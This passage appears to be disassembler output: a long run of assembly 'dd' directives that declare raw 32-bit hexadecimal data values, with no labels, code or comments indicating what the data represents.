		dd 5A25EDFDh, 80EC2EA5h, 7FD32F00h, 0E77D09EFh,	0E5620A97h
		dd 83C0C531h, 0E92776E1h, 0D07E39B1h, 7500A53Eh, 89F342F9h
		dd 736645Dh, 5A28C492h,	5514E0ADh, 68C38B97h, 0D7A419E1h
		dd 50808244h, 536D2Ah, 0D587E549h, 1C0F02C8h, 898F2D00h
		dd 1109F76Bh, 6EC10036h
		dd 0EBBBAD26h, 1D002F3Dh, 4A96A29Ah, 75D7CC20h,	18DA001Eh
		dd 2F19F628h, 0BCE2C895h, 0FC213C28h, 0C735E103h, 1F225E6Eh
		dd 80FAAA10h, 401D29F9h, 3900F1E5h, 0CAB3B20h, 48511076h
		dd 727F4A2Fh, 3CB300C0h, 2DEC5F3Ah, 9800839Ch, 0B5C1D59Ah
		dd 0E84A5Dh, 0E48722BBh, 5BC61647h, 660296F2h, 2402E942h
		dd 0C09BE05Dh, 13D0C0A2h, 0D3310367h, 3618447Ah, 86592D17h
		dd 0AF7E29h, 0C223E511h, 4AC3B0CDh, 8F5DCF00h, 0BB5FD783h
		dd 2C100004h, 2D640D56h, 0C700DC3Eh, 0D74521AEh, 288D94E8h
		dd 0F095CBh, 2933994Ah,	76D5F84Ch, 12F94000h, 746C2D6Eh
		dd 54D60222h, 0F50A8A0Ch, 46D9BEE0h, 0F26A8103h, 9072DE65h
		dd 0C0FD7Bh, 0A78E1A52h, 3EFFF185h, 99159D01h, 0D9D671DCh
		dd 37675881h, 879031E6h, 0D0BFA078h, 0C180DC40h, 0BBE70157h
		dd 9EADE1C5h, 17AE4081h, 0AF0EABA8h, 7F5F2724h,	8597A640h
		dd 1E0EFD87h, 801F4930h, 0D35C642Fh, 0F7EEC856h, 8277BD03h
		dd 0F47DEC74h, 2D38C3h,	1EBAB978h, 8CD251FEh, 74730D19h
		dd 0D0C48A92h, 0A028014Eh, 0D32C07A5h, 0B21520D4h, 5EFFB507h
		dd 81A39A0Eh, 0E4A4B0F5h, 65840388h, 75BAB790h,	0E0B529D9h
		dd 14004C4Bh, 1915EC82h, 470D839h, 2DBEACA4h, 50058089h
		dd 49002446h, 3644BF3Ch, 0EA5830FBh, 0FB5B81Eh,	2563A99Ah
		dd 0C204369h, 885D6094h, 2002F400h, 7783DF69h, 331B17B3h
		dd 2F540005h, 0B2A40B96h, 0F72DA01Ch, 897449h, 6FCC6A14h
		dd 661C00BCh, 0D8834023h, 8C050E43h, 6D1B8804h,	26B49500h
		dd 2CFE8C4h, 4E42E07Dh,	0A0E076AAh, 6401373Eh, 69F5599Eh
		dd 60216BA6h, 620CFCh, 0F67378C7h, 4E05BE83h, 25F9300Ah
		dd 0FE00CC60h, 0BA8F9920h, 8C94011Fh, 0FC1846A3h, 6E6C00DCh
		dd 2EA920B2h, 855C4E0Fh, 0E4801FA7h, 0C69A09C7h, 0FC770069h
		dd 0DEC98725h, 2B002F04h, 38120523h, 302433h, 54C51359h
		dd 67E1F77Dh, 9EDDA600h, 4A222302h, 200800AAh, 0AFF41347h
		dd 0FD00559Fh, 0DC569EA4h, 2401FCCBh, 39D698E9h, 0C9E74200h
		dd 8934E26Fh, 58D34509h, 0DEF80015h, 33307Ah, 8D955BB6h
		dd 0FF34678h, 49D5CE00h, 9B72E657h, 10770F2Ah, 407D9F8Eh
		dd 506F7988h, 0AD00B28Dh, 0A5D8FA14h, 3925F3h, 26134117h
		dd 8B30923Dh, 2F0A1B01h, 0C8EEA043h, 892AF0h, 8032CBB7h
		dd 0B1ACB39Fh, 97959900h, 152329B6h, 2B310752h,	1CF564h
		dd 0EDAA7BC7h, 5308451Fh, 3BEE00B8h, 0F142F009h, 343000Dh
		dd 0DE40150Bh, 73001638h, 0C58A77C1h, 9F567Fh, 26E5A3B2h
		dd 2AD4E6C9h, 92007CEAh, 8712AFB0h, 0ADF5DBh, 47FB6409h
		dd 0DD450BF7h, 0CF113D00h, 0A1BEA073h, 502B7E10h, 65B809h
		dd 8CD672EAh, 0C4A71CB7h, 3CB24B5Ch, 53A30066h,	5739359Fh
		dd 7FE70326h, 0A0CC08FFh, 8F4B1800h, 454CD2B7h,	186254D0h
		dd 1C7813Dh, 83D2DF29h,	0D9C4AF30h, 0E0315FD8h,	6DC69E0h
		dd 28573736h, 0A47228D7h, 0D0FE9F00h, 0E3C8534Ch, 571E07CBh
		dd 4A5F33C3h, 0B3528080h, 64D0CED6h, 6FB13CA0h,	3660DAECh
		dd 0B3128828h, 927E0059h, 0D9A6A3EBh, 640056A1h, 5B0843B2h
		dd 9EACDBh, 97701B6Fh, 0CC93D1EEh, 0A31E2D03h, 0A02CA6BAh
		dd 0CFB68880h, 16E0D261h, 0B7D74CD9h, 0DF33A41Bh, 21CE08h
		dd 5016D4F3h, 284B9B6Eh, 0ABC8400Bh, 53568391h,	0A6B3D2h
		dd 0FE83B228h, 0FF1D1E63h, 24B6C40Ch, 0C0900897h, 6386E621h
		dd 0A7EE984h, 400878E8h, 32B4C6A5h, 0CB308398h,	4CD81116h
		dd 3629EDFh, 4716D3F2h,	50100381h, 0B23082CCh, 511CC121h
		dd 61C9ACA8h, 47FF0F8h,	0CEA1C303h, 690E815h, 2810B130h
		dd 2510199Dh, 0C11874DCh, 0E9A3B918h, 1428A062h, 0AE6020A4h
		dd 0ED00842Fh, 0B9162351h, 0F72BF8Ah, 0B3359D27h, 55481D00h
		dd 22003A4Ch, 95F74E83h, 98A73Bh, 1C0478DFh, 3F167543h
		dd 12428617h, 715B1E04h, 89906C0h, 0F078004Dh, 0A1B10CF1h
		dd 24008E63h, 394384B0h, 38D5F2BDh, 0AE801186h,	539C585Eh
		dd 910B070Eh, 80DB2D60h, 6E104D2Fh, 0CBE100C7h,	9F58BF39h
		dd 0EE00BED6h, 0AFBD111Eh, 7BCA21h, 2F598BB6h, 3AAD2083h
		dd 0E037263Eh, 0D9131E58h, 690B00E2h, 4CA772B2h, 110082D6h
		dd 0BAB8287Dh, 1B0D50Eh, 0FB164F8h, 0F8229947h,	0A400201Fh
		dd 0F62537DDh, 0F81E1D2Dh, 0AE78C058h, 0BBDC83E5h, 6E90A0C0h
		dd 17141BCh, 0F89F7716h, 0F9B4FF5Eh, 385298C7h,	0C1E97B8h
		dd 4207C9C1h, 0FE019D10h, 0FA9F75A2h, 0D1865EAFh, 0B81003D9h
		dd 7AC49500h, 87160F63h, 9279C039h, 4EEE3642h, 50644600h
		dd 4A977A05h, 1F020091h, 0E8385A4h, 0D7006FADh,	0B816B7A1h
		dd 16C2F77h, 37E91FAh, 0C0815C4Ch, 0D501A015h, 9BB37C97h
		dd 0D6EDA614h, 4801094h, 0ED3015E8h, 0C5E810E1h, 8667008Dh
		dd 7ABF7FCFh, 7B002ED6h, 15A1FD89h, 0FA9D149Eh,	8B6232E7h
		dd 0AD109329h, 0CA8A898Ch, 2289D722h, 3022BE97h, 2176248Eh
		dd 0AB12875Dh, 4090DE10h, 228462FCh, 10E39534h,	839C44h
		dd 0B957EEA2h, 0F603B4FCh, 3A5E3305h, 35818D29h, 0F2DCDA66h
		dd 0E8900BBBh, 28086CBh, 9338D407h, 0F11F3200h,	8B616263h
		dd 0E7E67Fh, 0BCA80EC2h, 9DB9DA8Ah, 2E17100h, 0F2C6B3F6h
		dd 2D680476h, 83506B10h, 0BCE0C2D4h, 31E8D3F0h,	606E810Fh
		dd 823580FDh, 609196E2h, 0C0BF64D5h, 4600923Fh,	0CC1AF9ABh
		dd 58899D94h, 550E4666h, 0D520A5BEh, 6825298Eh,	19E71307h
		dd 967065D4h, 184C69h, 0DD2D991Dh, 32AC8791h, 0FFECDB78h
		dd 495F4600h, 61E189ECh, 2F2B05E3h, 40775C6Ah, 78EDB6F4h
		dd 530015DBh, 0E18B6BD1h, 0C5BD01h, 92908643h, 80CD0687h
		dd 482BC718h, 927D1050h, 84FA5014h, 0AE2600A6h,	881EFB0Eh
		dd 750053ECh, 0BA846DDh, 0E4C8A0h, 2B4908D1h, 0FAFF049Eh
		dd 0F707CB0Fh, 0E1DCA08Eh, 1F75D3BCh, 4069342Fh, 0DB51122h
		dd 0F200EA2Bh, 95028AB4h, 3ACE5C59h, 53807308h,	5FE88D14h
		dd 0AC001C2Ah, 88C63E49h, 2D13A8h, 53516817h, 0A9C334Ch
		dd 261C357Ah, 0C80616C1h, 0F8755Eh, 1193AC55h, 0ECC96710h
		dd 713C400h, 39CA6E23h,	83351D7Dh, 82EA8076h, 0DBD880ABh
		dd 0AC5FF607h, 8420C517h, 1E00E42h, 9B517253h, 20E9918Fh
		dd 8C78B810h, 0A1B2DA0Fh, 0D8760103h, 0B448A95Ch, 13AD01D5h
		dd 0B4275730h, 0E1E84021h, 400B763Ah, 8892C96h,	8000BC8Bh
		dd 0F501DC3Ch, 0F6C200B6h, 4DE6C3B1h, 3017FC3Bh, 640069CCh
		dd 7837E3D9h, 327B039Eh, 0FEFB6713h, 277CE1A8h,	21829B00h
		dd 62236304h, 0DCA3D7h,	1B585A60h, 648CA8ACh, 48EC6601h
		dd 843B5FBEh, 0CB02D850h, 0DD900021h, 0B44EC343h, 0A5A02C9Bh
		dd 0FB0F287Ch, 0E0F4CF0Dh, 0AEA31266h, 0E60E00C3h, 51945855h
		dd 0A4004A36h, 1864D989h, 785C0A1h, 82D4D3B0h, 42CB3DCh
		dd 46062AB8h, 0F51C7400h, 15AB147Fh, 0D14B3DB2h, 409C739Fh
		dd 0B0FD09E4h, 82004D22h, 0ED498017h, 7DF6CC8h,	0FA789381h
		dd 9B2A801Dh, 45009F8Dh, 88245C18h, 7083DFEh, 72A8571Bh
		dd 0DAF7F0D2h, 0BE7C3EC4h, 76B15918h, 12999ECEh, 746B2Fh
		dd 9FB0610Ch, 6300141Dh, 17C0E1CDh, 6A27FBh, 198935CEh
		dd 3EC662FFh, 9CB7FE00h, 6B82D7ECh, 0D00300C0h,	1BBE8724h
		dd 76025FFDh, 9D7B9F6Dh, 0EF4C07EAh, 0DBEF49EEh, 4AE77D80h
		dd 260066ECh, 7721808Dh
		dd 900C11h, 45657C0Fh, 9BC5D6A6h, 278FEE00h, 2D095676h
		dd 40DF0084h, 0BC393E60h, 1500570Ch, 5F50526Ah,	0E8846C05h
		dd 0A97120h, 693A5A8Dh,	0EF7A6F43h, 0FA220607h,	7BD03108h
		dd 0F0BC83ABh, 0F76E012h, 2175523Dh, 35DA6E60h,	223907E7h
		dd 5F38801Fh, 7C3FC62Eh, 0C0FEBCh, 0DED2EB8Bh, 0B52A4CBh
		dd 0ABB8D00h, 635831E4h, 0E0C500B6h, 0F508AB76h, 38015B36h
		dd 0C1F9B927h, 807EE6BBh, 8B228723h, 647F5D00h,	54C7C981h
		dd 13AA0078h, 9D2C4F05h, 5B3026D7h, 4FB18D9h, 0F81E0029h
		dd 22F7AC5Dh, 750066F6h, 5417CC63h, 58D888A6h, 2800A07Bh
		dd 0AAD2D102h, 1401F10Ch, 0CE4CE57Eh, 0DDC07DF9h, 4711E3Dh
		dd 3F7469AEh, 277F9900h, 23626803h, 460085FEh, 8DA7C5D1h
		dd 4E01BAh, 4B5D6F96h, 0C93292AFh, 0C0EC4309h, 0E66C10C1h
		dd 9E7A008Eh, 0AA5FFB18h, 0DF00EA91h, 7D43C0F3h, 4603DEh
		dd 69F8721Ch, 0F089D281h, 8FD7D900h, 1A86062Fh,	2C627778h
		dd 0C08597h, 51347CB3h,	0A900C05Dh, 0E9E09FB4h,	0B6C7E8h
		dd 0D7B471Bh, 0BC3A63Ah, 0EE9C3700h, 3DE674A2h,	0B1F70917h
		dd 0E400F27Bh, 0A37C7214h, 0FC008D72h, 88EF700Bh, 48DC536Dh
		dd 72003046h, 4B032241h, 0D300DE2Ah, 0E7CC4D20h, 343C676h
		dd 0AB917B08h, 987E87DBh, 0FE983100h, 0AEC4F581h, 0FFC900B0h
		dd 2690EC73h, 5B00211Eh, 534D616Fh, 12988960h, 0BCBEBCFBh
		dd 370400E6h, 12C4612h,	0D29B1D5Eh, 0AB44C017h,	52C51EF4h
		dd 580F6C92h, 0DB94CD69h, 0B255A8E8h, 33030023h, 0BE66AC47h
		dd 0E208C1E7h, 0B3E48h,	6985B49h, 0DC00A950h, 517B38EBh
		dd 51BC5h, 0CC5C5A28h, 89B0FBB5h, 6201BA78h, 78D56413h
		dd 0F140E6C7h, 0CD7D94h, 0B42E9BFh, 0BA43634Bh,	0B301F274h
		dd 0A3052428h, 0C2C53F4Fh, 1BB020h, 0F419D652h,	26F0BF50h
		dd 0D4FFBA00h, 0ECF4745h, 6B5A0170h, 0F99D1CDCh, 9B62F0CCh
		dd 0F122D51Eh, 0C1D01480h, 86A478h, 0E8C4512Fh,	70202481h
		dd 5B3F4EE4h, 0AD889FB5h, 35A56102h, 0C90743ABh, 0E430EC57h
		dd 32C5016Ch, 29EBF92h,	0B863F4C9h, 3AD87B03h, 80253489h
		dd 7E6D5Fh, 8C99500Bh, 0C35706ABh, 8AEE200h, 0C0733EFDh
		dd 8E8F032Fh, 2B62325Eh, 53D007E3h, 0D0030F6Bh,	0F7152AC7h
		dd 0CA50D064h, 20974C57h, 0CB535B0Eh, 0B8FFC120h, 230016E6h
		dd 0AE1E9E1Ch, 109D990h, 0D5659237h, 0F0FEE5DEh, 5E750378h
		dd 20D22B00h, 0AAC0A530h, 178800C5h, 3BDE1690h,	3E008697h
		dd 0DFD3B185h, 17C3D5B0h, 0F9FB56h, 0E852A6ACh,	0EEA0B647h
		dd 24013C44h, 7F7A29F1h, 0ADD4C671h, 7C8007BFh,	0E02640A6h
		dd 0D6F3B059h, 1ECFDE5Ch, 9358C3E4h, 7FB9AB84h,	0F4D00EE2h
		dd 0BB05A2D7h, 5F7A8061h, 0B0A0EAA6h, 0F4B2153Ch, 0F952EF00h
		dd 0AB07B458h, 6CB0A6h,	0AE5FF5E4h, 7F5B2E1Dh, 7C3CC900h
		dd 0B4748736h, 0AFB800DDh, 0DE70240Dh, 0AE0ABE5Eh, 0B0285183h
		dd 3BA51007h, 0EDB2D030h, 2E9024A2h, 0D86A0048h, 0C724A4BBh
		dd 94F3DE2Eh, 9775803Bh, 0C844C254h, 541000Eh, 0F5639BCCh
		dd 2E00F795h, 26AF4CEBh, 0FCA3EE1Fh, 13DE809h, 14A75180h
		dd 205CFA1Eh, 0AB002250h, 6361FEA5h, 21BF8h, 95AA49E8h
		dd 9F066497h, 6778302Eh, 68E57502h, 0EEDC600Dh,	0FA1B5CA9h
		dd 0E925904Ch, 56FA1813h, 0DA708207h, 4D364DDCh, 9700A47Ch
		dd 575C94FDh, 1A00F867h, 0FB021522h, 0F08C30h, 98E7DBC7h
		dd 3DB94220h, 3F888D00h, 3889705Fh, 9066395Ch, 3EEC3104h
		dd 82C4809Dh, 0AB001E59h, 6848F6B5h, 86993Ah, 0D9750E87h
		dd 0E797985Dh, 0C1F2E909h, 1A0000C6h, 1C881C0Ch, 80A96CE6h
		dd 3F1E0FB0h, 5000672Ah, 91720D6h, 90AA8963h, 0B6C900CCh
		dd 0EC491A48h, 0AF0446C3h, 0BD3DF8BEh, 0A62AA0B0h, 22382ED8h
		dd 41571EDCh, 29F63E0Ch, 70F0803Ah, 5E6D664h, 7FD4BAE7h
		dd 817D3F66h, 0AAAC2302h, 0A45046E0h, 14F7F406h, 1728350Ah
		dd 185ED52Bh, 0B37B482Eh, 3FF6A9F8h, 3C2481C3h,	68ADB014h
		dd 441A01C5h, 3E7D6590h, 5700640Eh, 0F74294Ch, 1F5ED13h
		dd 49A53A8Bh, 0D82FC8h,	0C8948D3Ch, 13C04E0Bh, 0DC0FAC98h
		dd 0EB88B4h, 0C21DA234h, 0BAAF002Ch, 6B5C20E7h,	4002D4Ch
		dd 0A1B0FF35h, 0E57B8Eh, 2D24FE1h, 8FD99354h, 0F9CD8712h
		dd 45C7C91Fh, 0AEA0473Fh, 3B09C19Bh, 4A80651Fh,	0C2FA50A3h
		dd 8707908Dh, 0A21A2A93h, 8B10D83Fh, 0E4C91C33h, 845C091h
		dd 93C8745Ch, 85F88260h, 0C5CFFAh, 680BBD39h, 1B2791E8h
		dd 60582400h, 97225966h, 1C850009h, 0C3E0D0B8h,	3200F7F3h
		dd 7F2C4E0Dh, 2749E5Ch,	0FA61A349h, 38C88FBFh, 0A00BCD6h
		dd 69F5C339h, 3E87EAh, 72975D31h, 16C215C8h, 0A3E08501h
		dd 8DEA4A17h, 5C1BAEE8h, 9000C3F8h, 91DCD4E5h, 0FC2E77AFh
		dd 0BD00DC0Dh, 26D6A4E9h, 5E710013h, 0D260BA70h, 6D01AC08h
		dd 0DD8447C0h, 0C4618E77h, 30DAC60h, 0E4167266h, 2D33796h
		dd 8380B682h, 8DA4288Fh, 87032500h, 4BC4FF9Ah, 5DE90909h
		dd 50A0F1CFh, 3E7652ACh, 1D00197Fh, 5B12A743h, 714188C3h
		dd 0ECA80036h, 0BA611B02h, 7B00DC84h, 5CC121A5h, 48E7FF46h
		dd 0CD02EC72h, 879B1B34h, 3BC37663h, 701897B5h,	0BADE3C0h
		dd 831C31E0h, 22A6210Ah, 33D86D01h, 0EBC8BA9Fh,	688700CAh
		dd 0A2DC7ABBh, 0F2017926h, 4D00EC2h, 1439DB13h,	3DFC1500h
		dd 907F778h, 0BAE5AC0Bh, 39F420D7h, 4B85C2A3h, 0FC8C0A2Ah
		dd 0B76201C7h, 40AF4E24h, 9269E5A8h, 0E80287E2h, 0D41D27E7h
		dd 0C6A84033h, 7C980019h, 5169480h, 3D0C7873h, 6199C777h
		dd 3BEF000Bh, 0FC69575Eh, 60986C35h, 0ECE259E6h, 58946037h
		dd 5A58019Bh, 588F49CBh, 5BC02E0Eh, 0EEC6BCD3h,	0A400474Bh
		dd 575A9476h, 12A8E2CFh, 80E5B9F8h, 63719128h, 0C5BE1304h
		dd 0C4C04DF2h, 7E0C5177h, 657A1DE7h, 9227C16Ah,	0ECCEA3B0h
		dd 8400F04Dh, 7DCA8D4Ah, 3E835BCh, 0D929070h, 45885A72h
		dd 0CE26731Fh, 0B407B3EBh, 2B22658Ah, 0B8EA8C9Ch, 26217B85h
		dd 28148Ch, 0F070B65Dh,	8D0526BFh, 3C9E8E4h, 9EF30CC0h
		dd 0D2F90072h, 0EC1D651Ch, 100DF6Dh, 0A98738CEh, 299606h
		dd 0BF5D9CC6h, 0E0E2A3F6h, 6DC70200h, 0D6F72DF0h, 40DD017Bh
		dd 0D0728470h, 0B302CCCCh, 0C0A66E28h, 33070916h, 440561Ch
		dd 40759955h, 9BD300A2h, 0D6A5F297h, 0C8E43DE2h, 3089F700h
		dd 7B572C33h, 1B5E0065h, 0E4910EA8h, 3A00BBD5h,	8CBAC86Eh
		dd 3226F6Dh, 6593DA10h,	0A1C0AE5Ch, 0C42AF7A4h,	8400F815h
		dd 12E204A3h, 3C856FCh,	71FAF64Ch, 94887F88h, 80901EAFh
		dd 0B1239880h, 0E185B00h, 0B5F3799h, 86C9E89h, 1500D9DFh
		dd 52D7799Ah, 5E8607BBh, 805FEE07h, 7FD2C2A0h, 5843D600h
		dd 30FF9BBAh, 0CAF900E6h, 9D14880Fh, 0FB0015EEh, 18957449h
		dd 42C7F3h, 2D713C36h, 0D94E688Eh, 0B8A25317h, 7987A81Eh
		dd 33807456h, 0FAD68E44h, 0D2B70046h, 2AB6DCA0h, 0BE7F2BD1h
		dd 1F77803Eh, 1E47BDDAh, 0CCD0C70Bh, 540F98FCh,	0C9C0AFh
		dd 1CEF3C5h, 5917C402h,	612C3570h, 0B100C995h, 0FDA28764h
		dd 94B7E8A1h, 399781E0h, 805F1EA5h, 9623519Eh, 14AEFAFCh
		dd 0C083FB76h, 9BD0E20Fh, 0DE681FA0h, 0C50073FEh, 0B4098828h
		dd 23CF5CAh, 42447407h,	58C83E79h, 0F400199Bh, 434B49CEh
		dd 8E2C7Eh, 0C1F9B885h
		dd 1251531Fh, 0E08F7605h, 84C02DC7h, 3BF3AE4Dh,	0FE80F21Eh
		dd 0BB08B359h, 0FD5CB71Ch, 187007Ch, 5F2F6D2Ch,	0D7D6005Ah
		dd 0AF2D3E5Eh, 3770673Bh, 0A7949D00h, 82B9BC0Dh, 15C63955h
		dd 0B4792A00h, 0B1614F4h, 8074B81Eh, 9961C80h, 0E1D47h
		dd 0C5B784D1h, 3BE990DBh, 0A6DF7000h, 9B3E2DE1h, 0B3E31391h
		dd 0CAD00FFEh, 0D0331087h, 58FAA730h, 1E5C627h,	7343E87Ch
		dd 2C02A46Ch, 0BFDB1848h, 17ACECE0h, 8919FB00h,	0F37351EEh
		dd 29A900BAh, 1031DBCh,	5B00F4A1h, 0B14FF57Dh, 2C25D252h
		dd 33B0B0Ah, 94537967h,	54403E8Ah, 84021A07h, 25B708ADh
		dd 0F81C703Dh, 0A2CF2DFFh, 6820F000h, 0E3A31A4h, 6383A70h
		dd 0A3A90313h, 0B261821h, 0F2053983h, 86098ECh,	43D2C408h
		dd 848E00E3h, 0AA2A9F38h, 857CF0EAh, 3A554400h,	0FF945105h
		dd 0A4C10040h, 1C9A73FDh, 5603938Ah, 2E9F2AB5h,	6843E072h
		dd 5A5E003Dh, 509AC7E8h, 1B0369CFh, 0A09FB378h,	0FD70090Ah
		dd 0C021EB45h, 303F5027h, 6A1FBEF0h, 6D80C5FFh,	50EE157h
		dd 1D77CE0h, 0C3F80F5h,	0F03CA458h, 0AD500317h,	3700246Ch
		dd 505B6D85h, 0E872D5DCh, 0E36900D8h, 74AB6770h, 0EA00807Bh
		dd 0FC92A8EFh, 24373A1h, 842C6D6h, 0C8C06A94h, 0DD0060BFh
		dd 5C76FE21h, 3F4B70DCh, 9F8B1075h, 5F801F61h, 35F260C5h
		dd 8B7D5871h, 16CAB600h, 0C71F0B86h, 835F0053h,	1CCB3FBEh
		dd 650148FAh, 502BB7C1h, 0A3C82E40h, 8B0800F7h,	6C78BD8Eh
		dd 431F932Dh, 0D8475546h, 0E6E06551h, 3B5FBA1Eh, 4D87686Fh
		dd 31A96756h, 0E614305Dh, 8435E0A0h, 85E8D745h,	3C490C00h
		dd 0DE2D1A50h, 0FDD60561h, 28B146h, 0A2543990h,	4F2F30D8h
		dd 0E010A03Bh, 89710BE5h, 0DAA9C096h, 9A334C00h, 0F4B5EB46h
		dd 0D7782855h, 13730DC5h, 0C8284D05h, 0DCE0B099h, 3D3ABE01h
		dd 90F1882Eh, 6715447Ch, 0A52EECE3h, 894C00CEh,	56057268h
		dd 11CDD51Dh, 0C0FCE1C0h, 0FF157DDFh, 46919Fh, 59D0DA55h
		dd 2C0057F6h, 31C450D4h, 1874C07Eh, 8078EA0Dh, 2E12DFD8h
		dd 7C20658Eh, 7B48FD41h, 16AE8E7h, 0D09C4BB8h, 81ECC656h
		dd 0E1ABCAD8h, 7840AE27h, 1E33348h, 0D1031082h,	0F07EE2A2h
		dd 916BF187h, 0AE5703C9h, 41310F4Bh, 0B74081C2h, 0F95121B6h
		dd 896F8E18h, 0D077BF81h, 9100FD29h, 1C41AFDBh,	8790A5B3h
		dd 807F9800h, 5EB67EDAh, 0B48B00A9h, 9DD4C34Bh,	15EC46A1h
		dd 8D3D2317h, 523C9400h, 39FEB8Fh, 0A0836D0Fh, 8F1131Dh
		dd 80F4D11Fh, 10184621h, 0DB1428h, 61507BF6h, 3D531272h
		dd 1340510Fh, 0A4152A4Bh, 0E819BC07h, 0D0943C80h, 1C1B0F57h
		dd 6DA6B308h, 790318E4h, 13EB0B0Ch, 2F60060Ah, 0FA998A32h
		dd 0B13EE93Fh, 0B2E0848h, 3ACC2080h, 0F7CB48Ah,	0F9D83Bh
		dd 425D1FC3h, 18FABB5Bh, 80EEBC95h, 0B0C09FEDh,	65D4C22Bh
		dd 4970C7F7h, 1F18D0D3h, 0BD19762Dh, 8F18E019h,	0CC3E619Eh
		dd 3DA847ABh, 0DCA9AD18h, 613770C1h, 0B9CD1951h, 0F84D03F0h
		dd 7C54F38Dh, 0A5030C1Eh, 7E8036C8h, 80E77C01h,	0EA388746h
		dd 0F002D0h, 0DFD756E9h, 0CBCFBF88h, 86F44307h,	3A302473h
		dd 3CA897h, 9A5F3892h, 5A29D0Fh, 3DADBF01h, 0EE8D5311h
		dd 0D1E472CDh, 0F7C9005Ah, 0AEC61914h, 87009C39h, 9D4E668h
		dd 72AF6444h, 0D5A4000Ch, 0D347F69h, 0DD1DB586h, 0F5475466h
		dd 2A707073h, 5E7825h, 6BBC6539h, 2BFC058Bh, 0C2A26400h
		dd 93DBB712h, 96323C0Dh, 73BD5E00h, 7DD59A84h, 550212E6h
		dd 46A31F7Bh, 481B608Ah, 0E0060410h, 0C00DAF58h, 7F94D542h
		dd 3CA53A04h, 1880DF76h, 9C31BFh, 1D23E885h, 75EC5B7Ah
		dd 0EF7FC907h, 72407DEEh, 5E05ACh, 0C694D7BCh, 0D1770826h
		dd 5BB7E8FFh, 0CA5F3502h, 406F88EBh, 398442C8h,	0BF0F8F8Bh
		dd 0F487CEC2h, 58FDB02Fh, 0B13035A3h, 0ABBF19BEh, 28F7603Ah
		dd 0CDA57906h, 0EC25D828h, 0D713D500h, 0BDFBB64Eh, 6C572ABh
		dd 91F795C8h, 9C4229A8h, 21B50511h, 0A3D308A9h,	0E84B090h
		dd 8615FB4h, 0C488A477h, 0C175883Ch, 88AED188h,	58949C84h
		dd 0BF5A1128h, 38A97511h, 0A06CC4A1h, 88AE0714h, 388A899h
		dd 880899Ah, 7DAB44ADh,	41BB28A1h, 113E143Ch, 4112B81Dh
		dd 89968710h, 99298028h, 73B1FC56h, 0D19B00B7h,	0F64B2950h
		dd 0DC00883Ah, 8FD71811h, 1FFF735h, 477E3C4Ah, 709ADAB5h
		dd 0BA1DFA42h, 80FC6A85h, 3A776B65h, 964A83h, 4D0CF379h
		dd 3773C6DCh, 0EB00CEFAh, 0F6CABDCDh, 0EAD81Ch,	8B6E7963h
		dd 49DB9F67h, 0FFE33901h, 237DDCECh, 40D826CDh,	2864601Bh
		dd 59AAC37Bh, 801CBD3Bh, 0CA01D8E8h, 938E0C6h, 24815234h
		dd 5A3EE200h, 3FEA28C0h, 90B7AC03h, 0E8C8DB72h,	3A705335h
		dd 5E978B76h, 13F50205h, 3440E01Fh, 8300FB16h, 1BA3F465h
		dd 0E2D2A4Bh, 7139B5CCh, 0EAA98AA0h, 0FE388C36h, 33D4806Ah
		dd 0D0D50496h, 0D63B00A5h, 7EEC5BBh, 0F007E66h,	97204541h
		dd 0F13709Dh, 0E6F7F380h, 22610660h, 7E3C4C28h,	60F989AEh
		dd 69842044h, 1ED03256h, 0C0FA7182h, 47A9C723h,	9401C629h
		dd 0FC765136h, 0EFC1D48h, 77D6Dh, 1F2DF925h, 3C8D5E23h
		dd 0F7520C03h, 7A33C3CBh, 95E00F38h, 4000EE37h,	7BBE7E81h
		dd 0BAECCE00h, 0AB6C6E39h, 0E81E00F3h, 0DF95C728h, 9A00F7F4h
		dd 7541E965h, 1ACD3h, 6D0726B2h, 0F4465DB4h, 0FE0BC4E8h
		dd 80DB5293h, 2039BFAAh, 0AC621228h, 6DDC07C0h,	0CCD5B0B3h
		dd 0E807491Bh, 8F271E34h, 2090E430h, 4B5A0385h,	0CDD3EBC1h
		dd 0E0B728Bh, 80399EE6h, 7699BE95h, 79DE0FA6h, 85047B77h
		dd 0F2C803Bh, 0FB7DBCA1h, 0A7024Ch, 78032271h, 7892D276h
		dd 0CB4C0FE6h, 0BB8BFA7Ch, 37C68780h, 830032D0h, 704E33D1h
		dd 2928DC4h, 31637AE9h,	0F860F5EBh, 9400F82Ch, 90E80881h
		dd 1343915h, 9537E5A9h,	0C0A5D14Ch, 27006F42h, 4BEE319Fh
		dd 0B0D3D99h, 97AB65Fh,	0CCD4807Dh, 98BC3442h, 0E40C5760h
		dd 4EF169C0h, 600F8427h, 6C42598Eh, 6B92835h, 688F9BFBh
		dd 0EC5B104Bh, 0FA0046FCh, 0B29D63DFh, 91003EACh, 0A777D48Fh
		dd 98C55ED3h, 46E603BDh, 6AFF1BCDh, 0C81AB7E9h,	0FC07E85Fh
		dd 0D210711Dh, 0B3F9003Fh, 0EAD32AEh, 0DF149EBAh, 6E75CE60h
		dd 0E800AFE7h, 0E5B5CD71h, 4388C2h, 7207301Eh, 174AAAF5h
		dd 20044700h, 75F07D9Ch, 9F250E0Ch, 1DA76686h, 80FDC4EAh
		dd 0E1A15A68h, 0BAD67A1Eh, 6329C640h, 889516h, 0F30E845Dh
		dd 3CE02779h, 65A9C500h, 0C7069ABFh, 624100CBh,	0C4DDF92Bh
		dd 0F779552Fh, 0D0862602h, 40A71748h, 38FA8E1Ch, 2803497h
		dd 111C6EB2h, 120004D0h, 2095EDAFh, 757ADBh, 5F66F2A2h
		dd 0B6547040h, 7286BB00h, 0A696F6EAh, 32A003C5h, 3144F8EDh
		dd 6F699DC8h, 0B90BF97Dh, 80818239h, 0E28CC2A0h, 0B53006C3h
		dd 20E1EE01h, 0E09C48h,	4EED10BBh, 0F3AAE73h, 0B762B3A2h
		dd 0E5C380C1h, 0C44DCD32h, 0D70670F4h, 1BDEC968h, 23FD4C9Ah
		dd 191A3400h, 8DC5CC74h, 8A72DA00h, 0AA2B8EFBh,	0A0A36082h
		dd 48ADD9C3h, 0A24C0300h, 5BFA298Ah, 0F6CF00C8h, 3E4D0D0Eh
		dd 0E8E2D8FCh, 0FB96538h, 0EE8E2C22h, 8D29801Fh, 0C50F3Fh
		dd 0AF3BE4CDh, 72E7A49Ah, 65004E71h, 0E1D6F278h, 0EA6641h
		dd 3B3EB435h, 23F4E444h, 0E8B29324h, 0D7CB0501h, 0EC2267BDh
		dd 3F1513h, 8DE87C89h
		dd 4307F314h, 63B8329h,	0D9E3CCE0h, 0D27701CEh,	3196EEADh
		dd 10B7C48Eh, 2650D004h, 0E8803D3Fh, 54A43897h,	270C0FBh
